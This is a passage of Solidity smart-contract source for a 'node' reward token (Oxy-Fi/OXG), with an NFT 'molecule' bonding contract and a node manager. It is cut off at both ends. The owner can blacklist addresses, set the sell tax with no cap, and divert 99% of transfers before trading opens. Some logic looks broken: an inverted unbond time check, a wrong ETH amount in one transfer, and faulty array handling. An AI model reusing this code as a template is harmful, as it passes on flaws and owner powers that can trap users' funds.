function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId;
_allTokensIndex[lastTokenId] = tokenIndex;
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
mapping(address => bool) public authorized;
modifier onlyAuthorized() {
require(authorized[msg.sender] || msg.sender == _owner , "Not authorized");
_;
}
function addAuthorized(address _toAdd) public {
require(msg.sender == _owner, 'Not owner');
require(_toAdd != address(0));
authorized[_toAdd] = true;
}
function removeAuthorized(address _toRemove) public {
require(msg.sender == _owner, 'Not owner');
require(_toRemove != address(0));
require(_toRemove != msg.sender);
authorized[_toRemove] = false;
}
function bondMolecule(address account,uint256 _tokenId, uint256 nodeCreationTime) external onlyAuthorized {
require(_exists(_tokenId), "token not found");
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner == account, "not owner");
Molecule memory mol = allMolecules[_tokenId];
require(mol.bonded == false, "Molecule already bonded");
mol.bonded = true;
allMolecules[_tokenId] = mol;
emit moleculeBonded(_tokenId, account, nodeCreationTime);
}
function unbondMolecule(address account,uint256 _tokenId, uint256 nodeCreationTime) external onlyAuthorized {
require(_exists(_tokenId), "token not found");
address tokenOwner = ownerOf(_tokenId);
require(tokenOwner == account, "not owner");
Molecule memory mol = allMolecules[_tokenId];
require(mol.bonded == true, "Molecule not bonded");
require(mol.bondedTime + unbondingTime > block.timestamp, "You have to wait 7 days from bonding to unbond");
mol.bonded = false;
allMolecules[_tokenId] = mol;
emit moleculeUnbonded(_tokenId, account, nodeCreationTime);
}
function growMolecule(uint256 _tokenId) external onlyAuthorized {
require(_exists(_tokenId), "token not found");
Molecule memory mol = allMolecules[_tokenId];
mol.level += 1;
allMolecules[_tokenId] = mol;
emit moleculeGrown(_tokenId, mol.level);
}
function getMoleculeLevel(uint256 _tokenId) public view returns(uint256){
Molecule memory mol = allMolecules[_tokenId];
return mol.level;
}
function getMoleculeKind(uint256 _tokenId) public view returns(uint256) {
Molecule memory mol = allMolecules[_tokenId];
return mol.kind;
}
}
pragma solidity ^0.8.4;
contract NodeManager is Ownable, Pausable {
using SafeMath for uint256;
using IterableMapping for IterableMapping.Map;
struct NodeEntity {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 amount;
uint256 tier;
uint256 totalClaimed;
uint256 borrowedRewards;
uint256[3] bondedMolecules;
uint256 bondedMols;
}
IterableMapping.Map private nodeOwners;
mapping(address => NodeEntity[]) private _nodesOfUser;
Molecules public molecules;
address public token;
uint256 public totalNodesCreated = 0;
uint256 public totalStaked = 0;
uint256 public totalClaimed = 0;
uint256 public levelMultiplier = 250;
uint256[] public _tiersPrice = [1, 6, 20, 50, 150];
uint256[] public _tiersRewards = [1250,8000,30000,87500,300000];
uint256[] public _boostMultipliers = [102, 105, 110, 130, 200];
uint256[] public _boostRequiredDays = [35, 56, 84, 183, 365];
uint256[] public _paperHandsTaxes = [150, 100, 40, 0];
uint256[] public _paperHandsWeeks = [1, 2, 3, 4];
uint256[] public _claimTaxFees = [8, 8, 8, 8, 8];
event NodeCreated(
address indexed account,
uint256 indexed blockTime,
uint256 indexed amount
);
event NodeBondedToMolecule(
address account,
uint256 tokenID,
uint256 nodeCreationTime
);
event NodeUnbondedToMolecule(
address account,
uint256 tokenID,
uint256 nodeCreationTime
);
modifier onlyGuard() {
require(owner() == _msgSender() || token == _msgSender(), "NOT_GUARD");
_;
}
constructor() {}
function _isNameAvailable(address account, string memory nodeName)
private
view
returns (bool)
{
NodeEntity[] memory nodes = _nodesOfUser[account];
for (uint256 i = 0; i < nodes.length; i++) {
if (keccak256(bytes(nodes[i].name)) == keccak256(bytes(nodeName))) {
return false;
}
}
return true;
}
function _getNodeWithCreatime(
NodeEntity[] storage nodes,
uint256 _creationTime
) private view returns (NodeEntity storage) {
uint256 numberOfNodes = nodes.length;
require(
numberOfNodes > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
bool found = false;
int256 index = _binarySearch(nodes, 0, numberOfNodes, _creationTime);
uint256 validIndex;
if (index >= 0) {
found = true;
validIndex = uint256(index);
}
require(found, "NODE SEARCH: No NODE Found with this blocktime");
return nodes[validIndex];
}
function _binarySearch(
NodeEntity[] memory arr,
uint256 low,
uint256 high,
uint256 x
) private view returns (int256) {
if (high >= low) {
uint256 mid = (high + low).div(2);
if (arr[mid].creationTime == x) {
return int256(mid);
} else if (arr[mid].creationTime > x) {
return _binarySearch(arr, low, mid - 1, x);
} else {
return _binarySearch(arr, mid + 1, high, x);
}
} else {
return -1;
}
}
function _uint2str(uint256 _i)
private
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function _calculateNodeRewards(
uint256 _lastClaimTime,
uint256 _tier
) private view returns (uint256 rewards) {
uint256 elapsedTime_ = (block.timestamp - _lastClaimTime);
uint256 boostMultiplier = _calculateBoost(elapsedTime_);
uint256 rewardPerMonth = _tiersRewards[_tier];
return
rewardPerMonth.mul(1e18).div(2628000).mul(elapsedTime_).mul(boostMultiplier).div(100).div(10000);
}
function _calculateBoost(uint256 elapsedTime_)
internal
view
returns (uint256)
{
uint256 elapsedTimeInDays_ = elapsedTime_ / 1 days;
if (elapsedTimeInDays_ >= _boostRequiredDays[4]) {
return _boostMultipliers[4];
} else if (elapsedTimeInDays_ >= _boostRequiredDays[3]) {
return _boostMultipliers[3];
} else if (elapsedTimeInDays_ >= _boostRequiredDays[2]) {
return _boostMultipliers[2];
} else if (elapsedTimeInDays_ >= _boostRequiredDays[1]) {
return _boostMultipliers[1];
} else if (elapsedTimeInDays_ >= _boostRequiredDays[0]) {
return _boostMultipliers[0];
} else {
return 100;
}
}
function upgradeNode(address account, uint256 blocktime)
external
onlyGuard
whenNotPaused
{
require(blocktime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);
node.tier += 1;
}
function borrowRewards(address account, uint256 blocktime, uint256 amount)
external
onlyGuard
whenNotPaused
{
require(blocktime > 0, "NODE: blocktime must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't have any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);
uint256 rewardsAvailable = _calculateNodeRewards(node.lastClaimTime, node.tier).sub(node.borrowedRewards);
require(rewardsAvailable >= amount,"You do not have enough rewards available");
node.borrowedRewards += amount;
}
function createNode(
address account,
string memory nodeName,
uint256 _tier
) external onlyGuard whenNotPaused {
require(_isNameAvailable(account, nodeName), "Name not available");
NodeEntity[] storage _nodes = _nodesOfUser[account];
require(_nodes.length <= 100, "Max nodes exceeded");
uint256 amount = getNodePrice(_tier);
_nodes.push(
NodeEntity({
name: nodeName,
creationTime: block.timestamp,
lastClaimTime: block.timestamp,
amount: amount,
tier: _tier,
totalClaimed: 0,
borrowedRewards: 0,
bondedMolecules: [uint256(0),0,0],
bondedMols: 0
})
);
nodeOwners.set(account, _nodesOfUser[account].length);
emit NodeCreated(account, block.timestamp, amount);
totalNodesCreated++;
totalStaked += amount;
}
function getNodeReward(address account, uint256 _creationTime)
public
view
returns (uint256)
{
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
return _calculateNodeRewards(node.lastClaimTime, node.tier).mul(getNodeAPRIncrease(account, _creationTime)).div(10000).sub(node.borrowedRewards);
}
function getAllNodesRewards(address account) external view returns (uint256[2] memory) {
NodeEntity[] storage nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
require(nodesCount > 0, "NODE: CREATIME must be higher than zero");
NodeEntity storage _node;
uint256 rewardsTotal = 0;
uint256 taxTotal = 0;
for (uint256 i = 0; i < nodesCount; i++) {
_node = nodes[i];
uint256 nodeReward = _calculateNodeRewards(
_node.lastClaimTime,
_node.tier
).sub(_node.borrowedRewards);
nodeReward = nodeReward;
taxTotal += getNodeFee(account, _node.creationTime, nodeReward);
rewardsTotal += nodeReward;
}
return [rewardsTotal, taxTotal];
}
function cashoutNodeReward(address account, uint256 _creationTime)
external
onlyGuard
whenNotPaused
{
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
uint256 toClaim = _calculateNodeRewards(
node.lastClaimTime,
node.tier
).sub(node.borrowedRewards);
node.totalClaimed += toClaim;
node.lastClaimTime = block.timestamp;
node.borrowedRewards = 0;
}
function cashoutAllNodesRewards(address account)
external
onlyGuard
whenNotPaused
{
NodeEntity[] storage nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
require(nodesCount > 0, "NODE: CREATIME must be higher than zero");
NodeEntity storage _node;
for (uint256 i = 0; i < nodesCount; i++) {
_node = nodes[i];
uint256 toClaim = _calculateNodeRewards(
_node.lastClaimTime,
_node.tier
).sub(_node.borrowedRewards);
_node.totalClaimed += toClaim;
_node.lastClaimTime = block.timestamp;
_node.borrowedRewards = 0;
}
}
function setMoleculeAddress(address _moleculesAddress) external onlyOwner {
molecules = Molecules(_moleculesAddress);
}
function bondNFT(uint256 _creationTime, uint256 _tokenId) external {
address account = _msgSender();
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't own any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
require(node.bondedMols < 3,"Already bonded to enough molecules");
molecules.bondMolecule(account, _tokenId, node.creationTime);
node.bondedMolecules[node.bondedMols] = _tokenId;
node.bondedMols += 1;
emit NodeBondedToMolecule(account, _tokenId, _creationTime);
}
function unbondNFT(uint256 _creationTime, uint256 _tokenId) external {
address account = _msgSender();
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't own any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
require(node.bondedMols > 0,"No Molecules Bonded");
molecules.unbondMolecule(account, _tokenId, node.creationTime);
uint256[3] memory newArray = [uint256(0),0,0];
for (uint256 i = 0 ; i < node.bondedMols; i++) {
if (node.bondedMolecules[i] != _tokenId) {
newArray[i] = node.bondedMolecules[i];
}
}
node.bondedMolecules = newArray;
node.bondedMols -= 1;
emit NodeUnbondedToMolecule(account, _tokenId, _creationTime);
}
function getNodesNames(address account) public view returns (string memory) {
NodeEntity[] memory nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
NodeEntity memory _node;
string memory names = nodes[0].name;
string memory separator = "#";
for (uint256 i = 1; i < nodesCount; i++) {
_node = nodes[i];
names = string(abi.encodePacked(names, separator, _node.name));
}
return names;
}
function getNodesRewards(address account) public view returns (string memory) {
NodeEntity[] memory nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
NodeEntity memory _node;
string memory rewards = _uint2str(_calculateNodeRewards(nodes[0].lastClaimTime, nodes[0].tier).mul(getNodeAPRIncrease(account, nodes[0].creationTime)).div(10000).sub(nodes[0].borrowedRewards));
string memory separator = "#";
for (uint256 i = 1; i < nodesCount; i++) {
_node = nodes[i];
string memory _rewardStr = _uint2str(_calculateNodeRewards(_node.lastClaimTime, _node.tier).mul(getNodeAPRIncrease(account, _node.creationTime)).div(10000).sub(_node.borrowedRewards));
rewards = string(abi.encodePacked(rewards, separator, _rewardStr));
}
return rewards;
}
function getNodesCreationTime(address account)
public
view
returns (string memory)
{
NodeEntity[] memory nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
NodeEntity memory _node;
string memory _creationTimes = _uint2str(nodes[0].creationTime);
string memory separator = "#";
for (uint256 i = 1; i < nodesCount; i++) {
_node = nodes[i];
_creationTimes = string(
abi.encodePacked(
_creationTimes,
separator,
_uint2str(_node.creationTime)
)
);
}
return _creationTimes;
}
function getNodeAPRIncrease(address account, uint256 _creationTime) public view returns (uint256){
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't own any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
if (node.bondedMols == 0){
uint256 totalApyBenefit = 10000;
return totalApyBenefit;
}
else {
uint256 totalApyBenefit = 0;
for (uint256 i = 0; i < node.bondedMols; i++) {
if (molecules.getMoleculeKind(node.bondedMolecules[i]) == 2 || molecules.getMoleculeKind(node.bondedMolecules[i]) == 3) {
uint256 APYBenefit = molecules.getMoleculeLevel(node.bondedMolecules[i]).mul(levelMultiplier).add(250);
totalApyBenefit += APYBenefit;
}
}
totalApyBenefit += 10000;
return totalApyBenefit;
}
}
function getNodeTaxDecrease(address account, uint256 _creationTime) public view returns (uint256){
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"You don't own any nodes"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
if (node.bondedMols == 0){
uint256 totalTaxDecrease = 0;
return totalTaxDecrease;
}
else {
uint256 totalTaxDecrease = 0;
for (uint256 i = 0; i < node.bondedMols; i++) {
if (molecules.getMoleculeKind(node.bondedMolecules[i]) == 1 || molecules.getMoleculeKind(node.bondedMolecules[i]) == 3) {
uint256 APYBenefit = molecules.getMoleculeLevel(node.bondedMolecules[i]).mul(levelMultiplier).add(250);
totalTaxDecrease += APYBenefit;
}
}
if (totalTaxDecrease > 10000) {
totalTaxDecrease = 10000;
}
return totalTaxDecrease;
}
}
function getNodesLastClaimTime(address account)
public
view
returns (string memory)
{
NodeEntity[] memory nodes = _nodesOfUser[account];
uint256 nodesCount = nodes.length;
NodeEntity memory _node;
string memory _lastClaimTimes = _uint2str(nodes[0].lastClaimTime);
string memory separator = "#";
for (uint256 i = 1; i < nodesCount; i++) {
_node = nodes[i];
_lastClaimTimes = string(
abi.encodePacked(
_lastClaimTimes,
separator,
_uint2str(_node.lastClaimTime)
)
);
}
return _lastClaimTimes;
}
function getNodeFee(
address account,
uint256 _creationTime,
uint256 _rewardsAmount
) public view returns (uint256) {
require(_creationTime > 0, "NODE: CREATIME must be higher than zero");
NodeEntity[] storage nodes = _nodesOfUser[account];
require(
nodes.length > 0,
"CASHOUT ERROR: You don't have nodes to cash-out"
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
uint256 paperHandsTax = 0;
uint256 claimTx = _rewardsAmount.mul(_claimTaxFees[node.tier]).div(100);
uint256 elapsedSeconds = block.timestamp - node.lastClaimTime;
if (elapsedSeconds >= _paperHandsWeeks[3].mul(86400).mul(7)) {
paperHandsTax = _rewardsAmount.mul(_paperHandsTaxes[3]).div(1000);
} else if (elapsedSeconds >= _paperHandsWeeks[2].mul(86400).mul(7)) {
paperHandsTax = _rewardsAmount.mul(_paperHandsTaxes[2]).div(1000);
} else if (elapsedSeconds >= _paperHandsWeeks[1].mul(86400).mul(7)) {
paperHandsTax = _rewardsAmount.mul(_paperHandsTaxes[1]).div(1000);
} else if (elapsedSeconds >= _paperHandsWeeks[0].mul(86400).mul(7)) {
paperHandsTax = _rewardsAmount.mul(_paperHandsTaxes[0]).div(1000);
} else {
paperHandsTax = _rewardsAmount.mul(200).div(1000);
}
uint256 totalTax = claimTx.add(paperHandsTax);
uint256 taxRebate = totalTax.mul(getNodeTaxDecrease(account,_creationTime)).div(10000);
return totalTax.sub(taxRebate);
}
function updateToken(address newToken) external onlyOwner {
token = newToken;
}
function updateTiersRewards(uint256[] memory newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
_tiersRewards = newVal;
}
function updateTiersPrice(uint256[] memory newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
_tiersPrice = newVal;
}
function updateBoostMultipliers(uint8[] calldata newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
_boostMultipliers = newVal;
}
function updateBoostRequiredDays(uint8[] calldata newVal) external onlyOwner {
require(newVal.length == 5, "Wrong length");
_boostRequiredDays = newVal;
}
function getNodeTier(address account, uint256 blocktime) public view returns (uint256) {
require(blocktime > 0, "Creation Time has to be higher than 0");
require(isNodeOwner(account), "NOT NODE OWNER");
NodeEntity[] storage nodes = _nodesOfUser[account];
uint256 numberOfNodes = nodes.length;
require(
numberOfNodes > 0,
"You don't own any nodes."
);
NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);
return node.tier;
}
function getNodePrice(uint256 _tierIndex) public view returns (uint256) {
return _tiersPrice[_tierIndex];
}
function getNodeNumberOf(address account) external view returns (uint256) {
return nodeOwners.get(account);
}
function isNodeOwner(address account) public view returns (bool) {
return nodeOwners.get(account) > 0;
}
function getNodeMolecules(address account, uint256 blocktime) public view returns (uint256[3] memory) {
require(blocktime > 0, "Creation Time has to be higher than 0");
require(isNodeOwner(account), "NOT NODE OWNER");
NodeEntity[] storage nodes = _nodesOfUser[account];
uint256 numberOfNodes = nodes.length;
require(
numberOfNodes > 0,
"You don't own any nodes."
);
NodeEntity storage node = _getNodeWithCreatime(nodes, blocktime);
return node.bondedMolecules;
}
function getAllNodes(address account)
external
view
returns (NodeEntity[] memory)
{
return _nodesOfUser[account];
}
function getIndexOfKey(address account)
external
view
onlyOwner
returns (int256)
{
require(account != address(0));
return nodeOwners.getIndexOfKey(account);
}
function burn(uint256 index) external onlyOwner {
require(index < nodeOwners.size());
nodeOwners.remove(nodeOwners.getKeyAtIndex(index));
}
function changeNodeName(uint256 _creationTime, string memory newName)
public
{
address sender = msg.sender;
require(isNodeOwner(sender), "NOT NODE OWNER");
NodeEntity[] storage nodes = _nodesOfUser[sender];
uint256 numberOfNodes = nodes.length;
require(
numberOfNodes > 0,
"You don't own any nodes."
);
NodeEntity storage node = _getNodeWithCreatime(nodes, _creationTime);
node.name = newName;
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
}
pragma solidity ^0.8.4;
contract OXG is ERC20, Ownable, PaymentSplitter {
using SafeMath for uint256;
NodeManager public nodeManager;
Molecules public molecules;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public teamPool;
address public distributionPool;
address public devPool;
address public advisorPool;
address public deadWallet = 0x000000000000000000000000000000000000dEaD;
uint256 public rewardsFee;
uint256 public liquidityPoolFee;
uint256 public futurFee;
uint256 public totalFees;
uint256 public sellTax = 10;
uint256 public cashoutFee;
uint256 private rwSwap;
uint256 private devShare = 20;
uint256 private advisorShare = 40;
bool private swapping = false;
bool private swapLiquify = true;
uint256 public swapTokensAmount;
uint256 public growMultiplier = 2e18;
bool private tradingOpen = false;
bool public nodeEnforced = true;
uint256 private _openTradingBlock = 0;
uint256 private maxTx = 375;
mapping(address => bool) public _isBlacklisted;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(
address indexed newLiquidityWallet,
address indexed oldLiquidityWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor(
address[] memory payees,
uint256[] memory shares,
address uniV2Router
) ERC20("Oxy-Fi", "OXY") PaymentSplitter(payees, shares) {
teamPool = 0xaf4a303E107b47f11F2e744c547885b8A9A4E2F7;
distributionPool = 0xAD2ea18F968a23a35580CF6Aca562d9F7b380644;
devPool = 0x1feffA18be68B22A5882f76E180c1666EF667E15;
advisorPool = 0x457276267e0f0C86a6Ddf3674Cc4f36e067C42e0;
require(uniV2Router != address(0), "ROUTER CANNOT BE ZERO");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(uniV2Router);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
futurFee = 13;
rewardsFee = 80;
liquidityPoolFee = 7;
rwSwap = 25;
totalFees = rewardsFee.add(liquidityPoolFee).add(futurFee);
_mint(_msgSender(), 300000e18);
require(totalSupply() == 300000e18, "CONSTR: totalSupply must equal 300,000");
swapTokensAmount = 100 * (10**18);
}
function setNodeManagement(address nodeManagement) external onlyOwner {
nodeManager = NodeManager(nodeManagement);
}
function setMolecules(address moleculesAddress) external onlyOwner {
molecules = Molecules(moleculesAddress);
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "TKN: The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
address _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
.createPair(address(this), uniswapV2Router.WETH());
uniswapV2Pair = _uniswapV2Pair;
}
function updateSwapTokensAmount(uint256 newVal) external onlyOwner {
swapTokensAmount = newVal;
}
function updateFuturWall(address payable wall) external onlyOwner {
teamPool = wall;
}
function updateDevWall(address payable wall) external onlyOwner {
devPool = wall;
}
function updateRewardsWall(address payable wall) external onlyOwner {
distributionPool = wall;
}
function updateRewardsFee(uint256 value) external onlyOwner {
rewardsFee = value;
totalFees = rewardsFee.add(liquidityPoolFee).add(futurFee);
}
function updateLiquidityFee(uint256 value) external onlyOwner {
liquidityPoolFee = value;
totalFees = rewardsFee.add(liquidityPoolFee).add(futurFee);
}
function updateFuturFee(uint256 value) external onlyOwner {
futurFee = value;
totalFees = rewardsFee.add(liquidityPoolFee).add(futurFee);
}
function updateCashoutFee(uint256 value) external onlyOwner {
cashoutFee = value;
}
function updateRwSwapFee(uint256 value) external onlyOwner {
rwSwap = value;
}
function updateSellTax(uint256 value) external onlyOwner {
sellTax = value;
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"TKN: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function blacklistMalicious(address account, bool value)
external
onlyOwner
{
_isBlacklisted[account] = value;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(
automatedMarketMakerPairs[pair] != value,
"TKN: Automated market maker pair is already set to that value"
);
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(
!_isBlacklisted[from] && !_isBlacklisted[to],
"Blacklisted address"
);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (to == address(uniswapV2Pair) && (from != address(this) && from != owner()) && nodeEnforced){
require(nodeManager.isNodeOwner(from), "You need to own a node to be able to sell");
uint256 sellTaxAmount = amount.mul(sellTax).div(100);
super._transfer(from,address(this), sellTaxAmount);
amount = amount.sub(sellTaxAmount);
}
uint256 amount2 = amount;
if (from != owner() && to != uniswapV2Pair && to != address(uniswapV2Router) && to != address(this) && from != address(this) ) {
if (!tradingOpen) {
amount2 = amount.div(100);
super._transfer(from,address(this),amount.sub(amount2));
}
if (to != teamPool && to != distributionPool && to != devPool && from != teamPool && from != distributionPool && from != devPool) {
uint256 walletBalance = balanceOf(address(to));
require(
amount2.add(walletBalance) <= maxTx.mul(1e18),
"STOP TRYING TO BECOME A WHALE. WE KNOW WHO YOU ARE.")
;
}
}
super._transfer(from, to, amount2);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens.div(2);
uint256 otherHalf = tokens.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(half);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
distributionPool,
block.timestamp
);
}
function createNodeWithTokens(string memory name, uint256 tier) public {
require(
bytes(name).length > 3 && bytes(name).length < 32,
"NODE CREATION: NAME SIZE INVALID"
);
address sender = _msgSender();
require(
sender != address(0),
"NODE CREATION: creation from the zero address"
);
require(!_isBlacklisted[sender], "NODE CREATION: Blacklisted address");
require(
sender != distributionPool,
"NODE CREATION: futur, dev and rewardsPool cannot create node"
);
uint256 nodePrice = nodeManager._tiersPrice(tier);
require(
balanceOf(sender) >= nodePrice.mul(1e18),
"NODE CREATION: Balance too low for creation. Try lower tier."
);
uint256 contractTokenBalance = balanceOf(address(this));
bool swapAmountOk = contractTokenBalance >= swapTokensAmount;
if (
swapAmountOk &&
swapLiquify &&
!swapping &&
sender != owner() &&
!automatedMarketMakerPairs[sender]
) {
swapping = true;
uint256 fdTokens = contractTokenBalance.mul(futurFee).div(100);
uint256 devTokens = fdTokens.mul(devShare).div(100);
uint256 advTokens = fdTokens.mul(advisorShare).div(100);
uint256 teamTokens = fdTokens.sub(devTokens).sub(advTokens);
uint256 rewardsPoolTokens = contractTokenBalance.mul(rewardsFee).div(100);
uint256 rewardsTokenstoSwap = rewardsPoolTokens.mul(rwSwap).div(
100
);
super._transfer(address(this),distributionPool,rewardsPoolTokens.sub(rewardsTokenstoSwap));
uint256 swapTokens = contractTokenBalance.mul(liquidityPoolFee).div(100);
swapAndLiquify(swapTokens);
swapTokensForEth(balanceOf(address(this)));
uint256 totalTaxTokens = devTokens.add(teamTokens).add(rewardsTokenstoSwap).add(advTokens);
uint256 ETHBalance = address(this).balance;
payable(devPool).transfer(ETHBalance.mul(devTokens).div(totalTaxTokens));
payable(teamPool).transfer(ETHBalance.mul(teamTokens).div(totalTaxTokens));
payable(advisorPool).transfer(ETHBalance.mul(advTokens).div(totalTaxTokens));
distributionPool.call{value: balanceOf(address(this))}("");
swapping = false;
}
super._transfer(sender, address(this), nodePrice.mul(1e18));
nodeManager.createNode(sender, name, tier);
}
function createNodeWithRewards(uint256 blocktime, string memory name, uint256 tier) public {
require(
bytes(name).length > 3 && bytes(name).length < 32,
"NODE CREATION: NAME SIZE INVALID"
);
address sender = _msgSender();
require(
sender != address(0),
"NODE CREATION: creation from the zero address"
);
require(!_isBlacklisted[sender], "NODE CREATION: Blacklisted address");
require(
sender != distributionPool,
"NODE CREATION: rewardsPool cannot create node"
);
uint256 nodePrice = nodeManager._tiersPrice(tier);
uint256 rewardOf = nodeManager.getNodeReward(sender, blocktime);
require(
rewardOf >= nodePrice.mul(1e18),
"NODE CREATION: Reward Balance too low for creation."
);
nodeManager.borrowRewards(sender, blocktime, nodeManager.getNodePrice(tier).mul(1e18));
nodeManager.createNode(sender, name, tier);
super._transfer(distributionPool, address(this), nodePrice.mul(1e18));
}
function upgradeNode(uint256 blocktime) public {
address sender = _msgSender();
require(sender != address(0), "Zero address not permitted");
require(!_isBlacklisted[sender], "MANIA CSHT: Blacklisted address");
require(
sender != distributionPool,
"Cannot upgrade nodes"
);
uint256 currentTier = nodeManager.getNodeTier(sender, blocktime);
require(currentTier < 4, "Your Node is already at max level");
uint256 nextTier = currentTier.add(1);
uint256 currentPrice = nodeManager.getNodePrice(currentTier);
uint256 newPrice = nodeManager.getNodePrice(nextTier);
uint256 priceDiff = (newPrice.sub(currentPrice)).mul(1e18);
uint256 rewardOf = nodeManager.getNodeReward(sender, blocktime);
if (rewardOf > priceDiff) {
upgradeNodeCashout(sender, blocktime, rewardOf.sub(priceDiff));
super._transfer(distributionPool, address(this), priceDiff);
nodeManager.cashoutNodeReward(sender, blocktime);
}
else if (rewardOf < priceDiff) {
upgradeNodeAddOn(sender, blocktime, priceDiff.sub(rewardOf));
super._transfer(distributionPool, address(this), rewardOf);
nodeManager.cashoutNodeReward(sender, blocktime);
}
}
function upgradeNodeCashout(address account, uint256 blocktime, uint256 cashOutAmount) internal {
uint256 taxAmount = nodeManager.getNodeFee(account, blocktime,cashOutAmount);
super._transfer(distributionPool, account, cashOutAmount.sub(taxAmount));
super._transfer(distributionPool, address(this), taxAmount);
nodeManager.upgradeNode(account, blocktime);
}
function upgradeNodeAddOn(address account, uint256 blocktime, uint256 AddAmount) internal {
super._transfer(account, address(this), AddAmount);
nodeManager.upgradeNode(account, blocktime);
}
function growMolecule(uint256 _tokenId) external {
address sender = _msgSender();
uint256 molLevel = molecules.getMoleculeLevel(_tokenId);
uint256 growPrice = molLevel.mul(growMultiplier);
require(balanceOf(sender) > growPrice, "Not enough OXG to grow your Molecule");
super._transfer(sender, address(this), growPrice);
molecules.growMolecule(_tokenId);
}
function cashoutReward(uint256 blocktime) public {
address sender = _msgSender();
require(sender != address(0), "CSHT: can't from the zero address");
